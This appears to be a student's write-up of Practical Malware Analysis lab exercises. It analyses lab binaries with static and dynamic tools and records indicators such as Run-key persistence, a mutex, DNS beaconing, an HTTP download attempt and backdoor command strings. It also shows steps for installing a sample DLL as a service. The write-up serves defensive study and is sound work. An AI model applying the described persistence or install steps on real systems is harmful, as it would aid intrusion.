vi- Further investigating the strings, however for **Lab01-01.dll**, it is apparent that there is an IP address of 127.26.152.13 , which would act as a network based indicator of malicious activity (figure 5.1).

vii-Bringing all the pieces together, there can be an assumption made that **Lab01-01.exe**, and by extension **Lab01-01.dll**, is malware which creates a backdoor. [VirusTotal](#) provided indication that the files were malicious, and utilising this or [PE Explorer](#) it was established that the two were likely related, with the .dll is dependant upon the .exe. The files are not packed(as identified by [PEiD](#)), small programs, with no exports, however specific imports which indicate that **Lab01-01.exe** might search through directories and create/manipulate files such as the disguised kernel32.dll, as well possibly searching for executables on the target system, as suggested by the string exec within **Lab01-01.dll**. In addition, there are network based imports, an IP address, as well as the functions imported from kernel32.dll, CreateProcess and sleep, which are commonly used in backdoors.

b- Analyse Lab01-02.exe.

i-As with the previous lab, uploading **Lab01-02.exe** in [VirusTotal.com](#) shows us that 47/71 antivirus tools recognise this file's signature as malicious (figure 1.1).




Figure 1.1— VirusTotal.com reports for **Lab01-02.exe**.

ii-We can identify whether the file is packed, either through [VirusTotal.com](#) or [PEiD](#). A file which is not packed will indicate the compiler (eg, *Microsoft Visual C++ 6.0*), or the method in which it has been packed. Initially, [PEiD](#) declared there was *Nothing found* *, however after changing from a *normal* to *deep* scan, it has been determined that the file has been packed by [UPX](#) (figure 2.1).




Figure 2.1 — PEiD Deep scan

- *Normal* scan is at the Entry Point of the PE File for documented signatures.
- *Deep* scan is the containing section of the Entry Point

- *Hardcore scan is a complete scan of the entire file for signatures.*

Another way of identifying whether the file has been packed or not, is via the Entry Point Section (*EP Section*) — these are UPX0, UPX1 and UPX2, section names for UPX packed files. UPX0 has a virtual size of 0x4000 but a raw size of 0 (figure 2.2), likely reserved for uninitialized data — the unpacked code.

Name	V. Offset	V. Size	R. Offset	R. Size	Flags
UPX0	00001000	00004000	00000400	00000000	E0000080
UPX1	00005000	00001000	00000400	00000600	E0000040
UPX2	00006000	00001000	00000A00	00000200	C0000040

Figure 2.2 — PEiD PE Section Viewer

We are able to unpack the file directly within [PE Explorer](#), with the **UPX Unpacker Plug-in**. When enabled, this automatically unpacks the file when loaded (Figure 2.3).

```
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Rebuilding Image...
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .text      4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .rdata     4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Section: .data      4096 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: <UPX> Decompressed file size: 16384 bytes
24.04.2019 08:04:08 : UPX Unpacker Plug-in: processed
```

Figure 2.3 — UPX Unpacker Plug-in running in PE Explorer

iii- When the file is unpacked, we can investigate strings and imports to see what the malware gets up to. From the Import Viewer within [PE Explorer](#), we see there are four imports (figure 3.1).

- KERNEL32.DLL — imported to most programs and doesn't tell us much other than suggesting the potential of creating threads/processes.
- ADVAPI32.dll — specifically CreateServiceA is of note.
- MSVCRT.dll — imported to most programs and doesn't tell us much.
- WININET.dll — specifically InternetOpenA and InternetOpenURLA are of note.




Figure 3.1 — Import Viewer within PE Explorer

iv-So far, this is suggesting that the malware is creating a service and connecting to a URL. Checking out the strings of the file in the Disassembler, we see ‘*Malservice*’, ‘<http://www.malwareanalysisbook.com>’ and ‘*Internet Explorer 8.0*’ (figure 3.2). These potentially act as host or network based indicators of malicious activity, though the service to run, URL to connect to, and the preferred browser.

00403010:	SSZ00403010_MalService
0040301C:	SSZ0040301C_Malservice
00403028:	SSZ00403028_HGL345
00403030:	SSZ00403030_http__www_malwareanalysisbook_c
00403054:	SSZ00403054_Internet_Explorer_8_0

'MalService',0
'Malservice',0
'HGL345',0
'http://www.malwareanalysisbook.com',0
'Internet Explorer 8.0',0

Figure 3.2 — Disassembler Strings

C. Analyze the file Lab01-03.exe.

i- Once again, uploading to [VirusTotal.com](https://www.virustotal.com) indicates that **Lab01-03.exe** is malicious due to 58/69 antivirus tools currently recognising signatures.

ii Scanning this with [PEiD](#) demonstrates that **Lab01-03.exe** is packed with [FSG 1.0](#) (figure 2.1 left). This is much more difficult to unpack than [UPX](#) and must be done manually. Currently we are unable to unpack this. Check out **Lab 18-2** (Chapter 18, Packers and Unpacking) to unpack in [OllyDbg](#).




Figure 2.1 —PEiD showing Lab01-03.exe packed with FSG 1.0 (left) and Section Vlewer (right)

Other indicators that the file is packed, are the missing names in the EP Section viewer (Figure 2.1 right), as well as the first section having a virtual size of 0x3000 and a raw size of 0 — again most likely reserved for the unpacked code.

iii- Although **Lab01–03.exe** is currently unpackable, we can still try to identify any imports to get an idea of what the file might do.




Figure 3.1 — Dependency Walker for **Lab01–03.exe**

Loading the file into [PE Explorer](#) unfortunately shows a blank Import Table, and running it in the Disassembler is also unhelpful. Another useful program is [Dependency Walker](#), which lists the imported and exported functions of a portable executable (PE) file (figure 3.1).

Here, we can see that **Lab01–03.exe** is dependant upon (and therefore imports) `KERNEL32.DLL`. The particular functions here are `LoadLibraryA` and `GetProcAddress`, however this does not tell us much about the functionality other than the fact the file is packed.

iv- We are unable to unpack the file the visible imports are uninformative, and we can't see any strings in [PE Explorer](#) (figure 4.1), it is difficult to suggest what the file might do, or identify any host/network based malware-infection indicators.




Figure 4.1 — PE Explorer showing no strings information for packed **Lab01–03.exe**

D- Analyze the file Lab01-04.exe.

i- **Lab01-04.exe** is recognised as malicious, with 53/72 engines detecting malicious signatures (Figure 1.1).

ii- PEiD shows us that the file is unpacked (and compiled with *Microsoft Visual C++ 6.0*) (figure 2.1). Likewise, the EP section shows the valid file names as well as actual raw sizes for them all, rather than UPX0-3 or blanks, as well as a raw size of 0, typically seen for packed files (figure 2.1). As this is not packed, there is no need to unpack it.




Figure 2.1 — PEiD showing Lab01-04.exe is not packed and Section Vlewer

iii- Loading **Lab01-04.exe** into PE Explorer, we initially see that the Date Time Stamp is clearly faked (figure 3.1). At the time of writing it looks as though the file was compiled months in the future, and it's not immediately clear what the real stamp should be.

Time Date Stamp | 5D69A2B3h | 30/08/2019 22:26:59

Figure 3.1 — Date Time Stamp of Lab01-04.exe

iv- Switching to the Import Viewer within PE Explorer, we see that there are three of the common .dll imported (figure 4.1).

IMPORT VIEWER				
RVA	Name	RVA	Hint	Name
0040228Eh	KERNEL32.dll	00402000h	0042h	OpenProcessToken
004022E0h	ADVAPI32.dll	00402004h	00F5h	LookupPrivilegeValueA
004022FAh	MSVCRT.dll	00402008h	0017h	AdjustTokenPrivileges

Library description: Advanced Win32 Base API

Syntax Details

```
function LookupPrivilegeValue(lpSystemName, lpName: PAnsiChar; var lpLui;
    external 'advapi32.dll' name 'LookupPrivilegeValueA' index 281;
```

Figure 4.1 — Import Viewer for Lab01–04.exe

- KERNEL32.dll — Core functionality, such as access and manipulation of memory, files, and hardware.
- ADVAPI32.dll — Access to advanced core Windows components such as the Service Manager and Registry. The functions here look like they're doing something with privileges.
- MSVCRT.dll — imports are functions that are included in most as part of the compiler wrapper code.

Assessing the combination of imports, there are a few key ones which can point us in the direction of the program's functionality.

- `SizeOfResource`, `FindResource`, and `LoadResource` indicate that the file is searching for data in a specific resource.
- `CreateFile`, `WriteFile` and `WinExec` suggests that it might write a file to disk and execute it.
- `LookupPrivilegeValueA` and `AdjustTokenPrivileges` indicates that it might access protected files with special permissions.

v- Looking at the strings is often a good way to identify any host/network based malware-infection indicators. Again, this can be done through the Disassembler in [PE Explorer](#) (Figure 5.1)

Strings	View 1	View 2	View 3	View 4
0040302C: SS20040302C_SeDebugPrivilege	'SeDebugPrivilege',0			
00403040: SS200403040_sfc_os.dll	'sfc_os.dll',0			
0040304C: SS20040304C_system32_wupdmgmgr.exe	'\system32\wupdmgmgr.exe',0			
00403064: SS200403064_s_s	'%s%s',0			
00403070: SS200403070_101	'#101',0			
00403078: SS200403078_EnumProcessModules	'EnumProcessModules',0			
0040308C: SS20040308C_psapi.dll	'psapi.dll',0			
00403098: SS200403098_GetModuleBaseNameA	'GetModuleBaseNameA',0			
004030AC: SS2004030AC_psapi.dll	'psapi.dll',0			
004030B8: SS2004030B8_EnumProcesses	'EnumProcesses',0			
004030C8: SS2004030C8_psapi.dll	'psapi.dll',0			
004030D4: SS2004030D4_system32_wupdmgmgr.exe	'\system32\wupdmgmgr.exe',0			
004030EC: SS2004030EC_s_s	'%s%s',0			
004030F4: SS2004030F4_winup.exe	'winup.exe',0			
00403100: SS200403100_s_s	'%s%s',0			

Figure 5.1 — Lab01–04.exe strings within PE Explorer Disassembler

The strings of note here look like ‘\system32\wupdmgmgr.exe’ , ‘psapi.dll’ and ‘\winup.exe’ — potentially these are the files which the .dll identified, create, or execute.

‘\system32\wupdmgmgr.exe’ might correlate with KERNEL32.dll GetWindowsDirectory function to write to system directory and the malware might modify the Windows Update Manager.

This gives us some host-based indicators, however there is nothing apparent regarding network functions.

vi- Previously overlooked in [PEiD](#)’s Section Viewer, there is a resources file .rsrc —The Resource Table. This is also seen in [PE Explorer](#)’s Section Headers.





Figure 6.1 — Resource Hacker identifying Lab01–04.exe’s binary resource

We are able to open this within [Resource Hacker](#), a tool which can be used to manipulate resources within Windows binaries. Loading **Lab01–04.exe** into [Resource Hacker](#) identifies that resource as binary and lets us search through it. (figure 6.1)

e. Analyze the malware found in the file Lab03-01.exe using basic dynamic analysis tools.

i-This dynamic analysis starts with initial static analysis to hopefully gain a baseline understanding of what might be going on. Straight in with [PEiD](#) and [PE Explorer](#) we see that **Lab03–01.exe** is evidently PEncrypt 3.1 packed, and only visible import of `kernel32.dll` and function `ExitProcess`(figure 1.1). Also, there are no apparent strings visible.



Figure

1.1 — File **Lab03–01.exe** is packed, and has minimal imports

It's difficult to understand this malware's functionality with this minimal information. Potentially the file will unpack and expose more information when it is run. One thing we can do is execute [strings](#) to scan the file for UNICODE or ASCII characters not easily located. Doing this we can identify some useful information.

There is a bit of noise here which have been removed, and the main ones are highlighted in red (table 1.1).

String	Functionality
Rich	Not important
.text	Not important
`.data	Not important
ExitProcess	kernel32.dll function ends a process and all its threads
kernel32.dll	Generic imported .dll for core functionality, such as access and manipulation of memory, files, and hardware.
ws2_32	Imported .dll Windows Sockets Library provides network functionality
CONNECT %s:%I HTTP/1.0	Looks like HTTP connection request
advapi32	Advapi32.dll is an API services library that supports security and registry calls.
ntdll	"NT Layer DLL" and is the file that contains NT kernel functions
user32	USER32.DLL implements the Windows USER component that creates and manipulates the standard elements of the Windows user interface.
adpack	DLL file associated with MSDN Development Platform developed by Microsoft for the Windows Operating System
StubPath	The executable in StubPath can be anything
SOFTWARE\classes\http\shell\open\commandV	Potentially important registry directory
Software\Microsoft\Active Setup\Installed Components\	Potentially important registry directory
test	Not important
www.practicalmalwareanalysis.com	Domain, possibly what the malware will try to connect to
admin	Probably username for admin
VideoDriver	Possibly important
WinvMX32-	Possibly important
vmx32to64.exe	Possibly important
SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Potentially important registry directory
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	Potentially important registry directory

Table 1.1 — Processed output of `strings` function on **Lab03–01.exe**

Looking at these, we can make some rough assumptions that **Lab03–01.exe** is likely to do some network activity and download and hide some sort of file in some of the registry directories, under one of those string names.

ii- To identify host-based indicators, we can make assumptions from the previous strings output, such as potentially attaching itself to

`SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver` — however, it is more useful to perform **dynamic analysis** and see what it's doing. Take a snapshot of the VM so you're able to revert to a pre-execution state!

Set VM networking to Host-only, and manually assign the preferred DNS server as [iNetsim](#), or configure the DNS reply IP within [ApateDNS](#) to loopback, and set up listeners using [Netcat](#) (ports 80 and 443 are recommended as a starting point as these are common).

Clear all processes within [Procmon](#), and apply suitable filters to clear out any noise and find out what the malware is doing. Initially filter to include Process **Lab3–1.exe** so we can see its activity. Likewise, start [Process Explorer](#) for collecting information about processes running on the system.

Process Monitor - Sysinternals: www.sysinternals.com				
Time...	Process Name	PID	Operation	Path
8:59:1...	Lab03-01.exe	2100	Process Start	
8:59:1...	Lab03-01.exe	2100	Thread Create	
8:59:1...	Lab03-01.exe	2100	QueryNameInfo...	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\WINDOWS\system32\ntdll.dll
8:59:1...	Lab03-01.exe	2100	QueryNameInfo...	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	CreateFile	C:\WINDOWS\Prefetch\LAB03-01.E>
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\Software\Microsoft\Windows\
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegCloseKey	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	CreateFile	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	FileSystemControl	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	QueryOpen	C:\Documents and Settings\Malware\
8:59:1...	Lab03-01.exe	2100	Load Image	C:\WINDOWS\system32\kernel32.dll
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegCloseKey	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\Software\Microsoft\Windows\
8:59:1...	Lab03-01.exe	2100	RegOpenKey	HKLM\System\CurrentControlSet\Conl
8:59:1...	Lab03-01.exe	2100	RegQueryValue	HKLM\System\CurrentControlSet\Conl

Figure 2.1 — [Procmon](#) of **Lab03–01.exe**

The first thing we notice when executing **Lab03–01.exe** is the series of Registry Key operations (Figure 2.1). This doesn't tell us too much about what the malware is doing specifically however,

it's always useful to see an overview of the activities. We can filter this further to only show WriteFile and RegSetValue to see the key operations (figure 2.2)

Process Monitor - Sysinternals: www.sysinternals.com					
Time...	Process Name	PID	Operation	Path	Detail
8:59:1...	Lab03-01.exe	2100	WriteFile	C:\WINDOWS\system32\vmx32to64.exe	Offset: 0, Length: 7,168
8:59:1...	Lab03-01.exe	2100	RegSetValue	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver	Type: REG_SZ, Length: 510, Data: C:\WINDOWS\system32\vmx32to64.exe

Figure 2.2 — [Procmon](#) of Lab03-01.exe, filtered for WriteFile and RegSetValue

We can investigate these operations further, and we see that they are related. First, a file is written to C:\WINDOWS\system32\vmx32to64.exe (*note, this filename is a string we've identified as part of the initial static analysis*) however, this appears to be set to the registry of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver (*another identified string!*). This is a strong host-based indicator that the malware is up to something (Figure 2.3). Most likely the malware is intended to be run at startup.

Event Properties		
Event	Process	Stack
Date:	5/25/2019 8:59:13.4559056 PM	
Thread:	772	
Class:	File System	
Operation:	WriteFile	
Result:	SUCCESS	
Path:	C:\WINDOWS\system32\vmx32to64.exe	
Duration:	0.0000869	
Offset:	0	7,168
Type:	REG_SZ	
Length:	510	
Data:	C:\WINDOWS\system32\vmx32to64.exe	

Event Properties		
Event	Process	Stack
Date:	5/25/2019 8:59:13.4568088 PM	
Thread:	772	
Class:	Registry	
Operation:	RegSetValue	
Result:	SUCCESS	
Path:	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Video	
Duration:	0.0009046	

Figure 2.3 — Lab03-01.exe hiding under vmx32to64.exe and set to VideoDriver registry.

Upon further investigation, it appears as though files **vmx32to64.exe** and **Lab03-01.exe** share the same hash (figure 2.4), indicating the malware has established persistence through creating and hiding a copy of itself, as well as to execute at startup via the VideoDriver registry.

```
C:\Documents and Settings\Malware Analysis>certutil -hashfile C:\WINDOWS\system32\vmx32to64.exe
402.203.0: 0x80070057 <WIN32: 87>: ..CertCli Version
SHA-1 hash of file C:\WINDOWS\system32\vmx32to64.exe:
0b b4 91 f6 2b 77 df 73 78 01 b9 ab 0f d1 4f a1 2d 43 d2 54
CertUtil: -hashfile command completed successfully.

C:\Documents and Settings\Malware Analysis>certutil -hashfile "C:\Documents and Settings\Malware Analysis\My Documents\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_3L\Lab03-01.exe"
402.203.0: 0x80070057 <WIN32: 87>: ..CertCli Version
SHA-1 hash of file C:\Documents and Settings\Malware Analysis\My Documents\Downloads\Practical Malware Analysis Labs\BinaryCollection\Chapter_3L\Lab03-01.exe:
0b b4 91 f6 2b 77 df 73 78 01 b9 ab 0f d1 4f a1 2d 43 d2 54
CertUtil: -hashfile command completed successfully.
```

Figure 2.4 — **Lab03-01.exe** sharing the same SHA1 Hash as **vmx32to64.exe**.

Further host-based indicators can be identified through analysis of [Process Explorer](#), to show which handles and DLLs the malware has opened or loaded.

The screenshot shows the Process Explorer interface. The main window displays a list of running processes, including smss.exe, csrss.exe, winlogon.exe, explorer.exe, ctfmon.exe, Procmon.exe, procexp.exe, apateDNS.exe, Lab03-01.exe, Wireshark.exe, and dumpcap.exe. The 'Lab03-01.exe' process is highlighted. Below the process list is a detailed table of handles:

Type	Name
File	\Device\Tcp
Key	HKLM
Key	HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9
Key	HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5
Key	HKLM\SYSTEM\ControlSet001\services\Tcpip\Linkage
Key	HKLM\SYSTEM\ControlSet001\services\Tcpip\Parameters
Key	HKLM\SYSTEM\ControlSet001\services\NetBT\Parameters\Interfaces
Key	HKLM\SYSTEM\ControlSet001\services\NetBT\Parameters
KeyedEvent	\KernelObjects\CritSecOutOfMemoryEvent
Mutant	\BaseNamedObjects\WinVMX32
Semaphore	\BaseNamedObjects\shell\{A48F1A32-A340-11D1-8C6B-00\0C90312E1}
Thread	Lab03-01.exe[2100]: 772

Figure 2.4 — [Process Explorer](#) showing Mutex **WinVMX32**

[Process Explorer](#) shows us that **Lab03-01.exe** has created a mutex of **WinVMX32** (*again, another identified string*) (Figure 2.4). A mutex (mutual exclusion objects) is used to ensure that only one instance of the malware can run at a time — often assigned a fixed name. We also see **Lab03-01.exe** utilises **ws2_32.dll** and **wshtcpip.dll** for network capabilities.

iii-We're able to analyse network activity either locally on the victim, or utilising [iNetSim](#). I have demonstrated both, having configured DNS to either the [iNetSim](#) machine or loopback (for the [netcat](#) listeners). Turning our attention to [ApateDNS](#) and our [iNetSim](#) logs, we see some pretty significant network-based indicators of this malware activity. [ApateDNS](#) show regular DNS requests to www.practicalmalwareanalysis.com every 30 seconds (figure 3.1).




Figure 3.1 — [ApateDNS](#) showing DNS beaconing

The [ApateDNS](#) capture suggests the malware is beaconing — possibly to either to fetch updates/instructions or to send back stolen information.

```
cat: /var/log/inetsim/report/report.1876: No such file or directory
inetsim@inetsim:~$ cat /var/log/inetsim/report/report.1876.txt
== Report for session '1876' ==

Real start date      : 2019-05-27 20:52:17
Simulated start date : 2019-05-27 20:52:17
Time difference on startup : none

2019-05-27 20:52:50 First simulated date in log file
2019-05-27 20:52:50 DNS connection, type: A, class: IN, requested name: www.practicalmalwareanalysis.com
```

Figure 3.2 — [iNetSim](#) logs

Also, the associated [iNetSim](#) logs show a recognised DNS request for the malicious website, providing further indication of beaconing intent.

Finally, the [Netcat](#) listener (with DNS configured for loopback) has picked up a transmission on port 443. This shows a series of illegible characters emitted from the malware (Figure 3.3). On subsequent executions or periodic ticks, the transmission is unique.

```
C:\Documents and Settings\Malware Analysis>nc -l -p 443
```

Figure 3.3 – Illegible characters transmitted by **Lab03-01.exe**.

The combination of host and network-based indicators provide significant grounding to make assumptions regarding the malware's activity.

- From **Static Analysis**, not a lot was uncovered other than the output of what might use as hard-coded parameters.
 - **Dynamic Analysis** to uncover further host-based indicators show that the malware has replicated and masked under another file name has associated with the registry for execution on startup and has network functionality.
 - Network-based activity is identified through capturing periodic DNS requests, as well as intercepting random character transmissions of HTTP & SSL

f. Analyze the malware found in the file Lab03-02.dll using basic dynamic analysis tools.

i- At first glance, we have **Lab03-02.dll**. As this is not a .exe file, we are unable to directly execute it. rundll32.exe is a windows utility which loads and runs 32-bit dynamic-link libraries (.dll).

First, however, we likely require any exported functions to pass in as an argument. This can be identified through PE analysis, which shows us a set of exported and imported functions. The imported functions (Figure 1.1) give us an idea of the .dll's capabilities. Speculation into these might suggest there will likely be some networking going on, as well as some file, directory and registry manipulation. Functions included as part of `ADVAPI32.dll` suggests the malware may need to be run as a service, which is backed up by **Lab03-02.dll**'s exports (Figure 1.1)

Import Viewer		
RVA	Name	
RVA	Hint	Name
100055C2h	KERNEL32.dll	
100056B0h	ADVAPI32.dll	
100056CCh	WS2_32.dll	
10005760h	WININET.dll	
10005886h	MSVCRT.dll	
10005000h	0047h	OpenServiceA
10005004h	0078h	DeleteService
10005008h	0072h	RegOpenKeyExA
1000500Ch	007Bh	RegQueryValueExA
10005010h	005Bh	RegCloseKey
10005014h	0045h	OpenSCManagerA
10005018h	004Ch	CreateServiceA
1000501Ch	0034h	CloseServiceHandle
10005020h	005Eh	RegCreateKeyA
10005024h	0086h	RegSetValueExA
10005028h	008Eh	RegisterServiceCtrlHandlerA
1000502Ch	00AEh	SetServiceStatus

EXPORT VIEWER		
Entry Point	Ord	Name
10004706h	1	Install
10003196h	2	ServiceMain
10004B18h	3	UninstallService
10004B0Bh	4	installA
10004C2Bh	5	uninstallA

Figure 1.1 — Lab03–02.dll’s Imports and Exports showing likely service capabilities

Running [strings](#) also gives us a lot of useful insight into potential actions. Most of which are found as imported functions, however, there are others worth noting that may be useful host/network-based indicators. These include some very distinctive strings, potential registry locations and file or network names, as well as some base64 encoded strings hinting at some functionality (Figure 1.2).

	Strings	Base64 Encoded Strings	Base64 DECODED strings
practicalmalwareanalysis.com	%SystemRoot%\System32\svchost.exe -k netsvc	Y29ubmVjdA==	connect
serve.html	OpenSCManager()	dW5zdxBwb3I0	unsupport
Windows XP 6.11	You specify service name not in Svchost//netsvc, must be one of following:	c2xlZXAA=	sleep
cmd.exe /c	RegQueryValueEx(Svchost\netsvc)	Y21k	cmd
GetModuleFileName() get dll path	netsvc	cXVpdA==	quit
Intranet Network Awareness (INA+)	RegOpenKeyEx(%s) KEY_QUERY_VALUE success.		
%SystemRoot%\System32\svchost.exe -k	RegOpenKeyEx(%s) KEY_QUERY_VALUE error.		
SYSTEM\CurrentControlSet\Services\	SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost		
CreateService(%s) error %d	IPRIP		
Depends INA+, Collects and stores network configuration and location information, and notifies applications when this information changes.			

Figure 1.2 — Lab03–02.dll’s strings showing potential functionality.

Now we have a starting point to look out for, we can prepare our environment for trying to run the malware — clearing [procmon](#), taking a [registry snapshot](#), and setting up the network.

ii- To install the malware, pass one of `Install` or `installA` (found from the exports) into `rundll32`.

Executing `C:\rundll32.exe Lab03–02.dll`, `install` doesn’t give any immediate feedback on the command line, within [process explorer](#), or [Wireshark/iNetSim](#), however taking a 2nd [registry snapshot](#) and comparing the two, it’s clear that keys and values have been added — many of these matching up with what we found from [strings](#) (Figure 2.1)

```

Keys added: 8
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_PROCEXP152\0000\control
HKLM\SYSTEM\ControlSet001\services\IPRIP
HKLM\SYSTEM\ControlSet001\services\IPRIP\Parameters
HKLM\SYSTEM\ControlSet001\services\IPRIP\Security
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_PROCEXP152\0000\control
HKLM\SYSTEM\CurrentControlSet\services\IPRIP
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Parameters
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Security

Values added: 22
HKLM\SYSTEM\ControlSet001\Enum\Root\LEGACY_PROCEXP152\0000\control\ActiveService: "PROCEXP152"
HKLM\SYSTEM\ControlSet001\services\IPRIP\Type: 0x00000020
HKLM\SYSTEM\ControlSet001\services\IPRIP\DependOnService: 0x00000002
HKLM\SYSTEM\ControlSet001\services\IPRIP\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\IPRIP\ImagePath: "%SystemRoot%\System32\svchost.exe -k netsvcs"
HKLM\SYSTEM\ControlSet001\services\IPRIP\DisplayName: "Intranet Network Awareness (INA+)"
HKLM\SYSTEM\ControlSet001\services\IPRIP\ObjectName: "LocalSystem"
HKLM\SYSTEM\ControlSet001\services\IPRIP>Description: "Depends INA+. Collects and stores network configuration and location information, and notifies HKLM\SYSTEM\ControlSet001\services\IPRIP\DependOnService: 52 00 70 00 63 00 53 00 73 00 00 00 00 00
HKLM\SYSTEM\ControlSet001\services\IPRIP\Parameters\Serviceobj: "C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll"
HKLM\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_PROCEXP152\0000\control\ActiveService: "PROCEXP152"
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Type: 0x00000020
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\ImagePath: "%SystemRoot%\System32\svchost.exe -k netsvcs"
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\ObjectName: "Intranet Network Awareness (INA+)"
HKLM\SYSTEM\CurrentControlSet\services\IPRIP>Description: "Depends INA+. Collects and stores network configuration and location information, and notifies HKLM\SYSTEM\CurrentControlSet\services\IPRIP\DependOnService: 52 00 70 00 63 00 53 00 73 00 00 00 00 00
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Parameters\Serviceobj: "C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll"
HKLM\SYSTEM\CurrentControlSet\services\IPRIP\Security\Security: 01 00 14 80 90 00 00 00 9C 00 00 00 14 00 00 00 30 00 00 00 02 00 1C 00 01 00 00 00 02 81

```

Figure 2.1 — Registry keys and values added as a result of installing **Lab03-02.dll**

We can see within the [regshot](#) comparison that something called **IPRIP** has been added as a service, with some of the more identifiable strings as **\DisplayName** or **\Description**. The image path has also been set to **%SystemRoot%\System32\svchost.exe -k netsvcs** which shows the malware is likely to be launched within **svchost.exe** with network services as an argument.

iii- Since we have installed **lab03-02.dll** as a service, we can now run this and we see the same **\DisplayName + update** found from the added reg values (Figure 3.1).

```
C:\Documents and Settings\Administrator\Desktop\PMA_Labs\Practical Malware Analysis\Lab03-02.dll>net start IPRIP
The Intranet Network Awareness (INA+) service is starting.
The Intranet Network Awareness (INA+) service was started successfully.
```

Figure 3.1 — Starting the IPRIP service

Checking out [ProcessExplorer](#) to see what's happened, we can search for the **Lab03-02.dll** which will point us to the **svchost.exe** instance that was created.




Figure 3.2 — Process Explorer showing **svchost.exe** launched with **Lab03–02.dll**

We can identify various indicators which attribute **Lab03–02.dll** to this instance of **svchost.exe** thorough the inclusion of the .dll, the service display name “*Intranet Network Awareness (INA+)*”, and the command line argument matching what has been found in strings. This helps us to confirm that **Lab03–02.dll** has been loaded — note the *process ID, 1148*. We’ll need this to see what’s going on in [ProcMon](#)!

- iv- Checking out [ProcMon](#), filtered on *PID 1148*, we see a whole load of registry `RegOpenKey` and `ReadFiles`, however, seems mostly **svchost.exe** related and nothing jumps out as malicious.
- v- Turing our attention to look for network-based indicators, we have traffic captured within [Wireshark](#), as well as logged within [iNetSim](#). To give us an idea of what to look for, we can check out the [iNetSim](#) logs first (Figure5.1), which show us that we have seen 2 notable types of activity; DNS and HTTP connections. The DNS appears to be periodic requests to [practicalmalwareanalysis.com](#) (which we previously saw similar with **Lab03–01.exe**), as well as a `HTTP GET` request to <http://practicalmalwareanalysis.com/serve.html> which attempts to download a file. Fortunately, as we had [iNetSim](#) set up to respond, it provides a dummy file to complete the request — `/var/lib/inetsim/http/fakefiles/sample.html`. If we didn’t have this, we might have downloaded something real nasty.


```

2020-07-06 13:52:43  DNS connection, type: A, class: IN, requested name: practicalmalwareanalysis.co
m
2020-07-06 13:52:43  HTTP connection, method: GET, URL: http://192.168.89.128/upad.dat, file name: n
one
2020-07-06 13:52:43  HTTP connection, method: GET, URL: http://practicalmalwareanalysis.com/serve.ht
ml, file name: /var/lib/inetsim/http/fakefiles/sample.html

```

Figure 5.1 — iNetSim logs of **Lab03–02.dll**'s DNS and HTTP request

We're able to look at these within [Wireshark](#) and inspect the packets in more detail. Filtering on DNS, we're able to see the DNS request to practicalmalwareanalysis.com (Figure 5.2). Finding the conversation between the host and [iNetSim](#) and following the TCP stream, we're able to see the content within the `HTTP GET` request to <http://practicalmalwareanalysis.com/serve.html> (Figure 5.2). This also shows [iNetSim](#)'s dummy content replacing `serve.html`.



```

Stream Content:
GET /serve.html HTTP/1.1
Accept: */*
User-Agent: cxe-942ab615ea5 Windows XP 6.11
Host: practicalmalwareanalysis.com

HTTP/1.1 200 OK
Connection: Close
Date: Mon, 06 Jul 2020 13:52:43 GMT
Content-Length: 258
Server: INetSim HTTP Server
Content-Type: text/html

<html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
<p></p>
<p align="center">This file is an HTML document.</p>
</body>
</html>

```

Figure 5.2 — [Wireshark](#) traffic for **Lab03–02.dll** DNS (left) and HTTP (right)

```

C:\Documents and Settings\Administrator>nc -l -p 80
GET /serve.html HTTP/1.1
Accept: */*
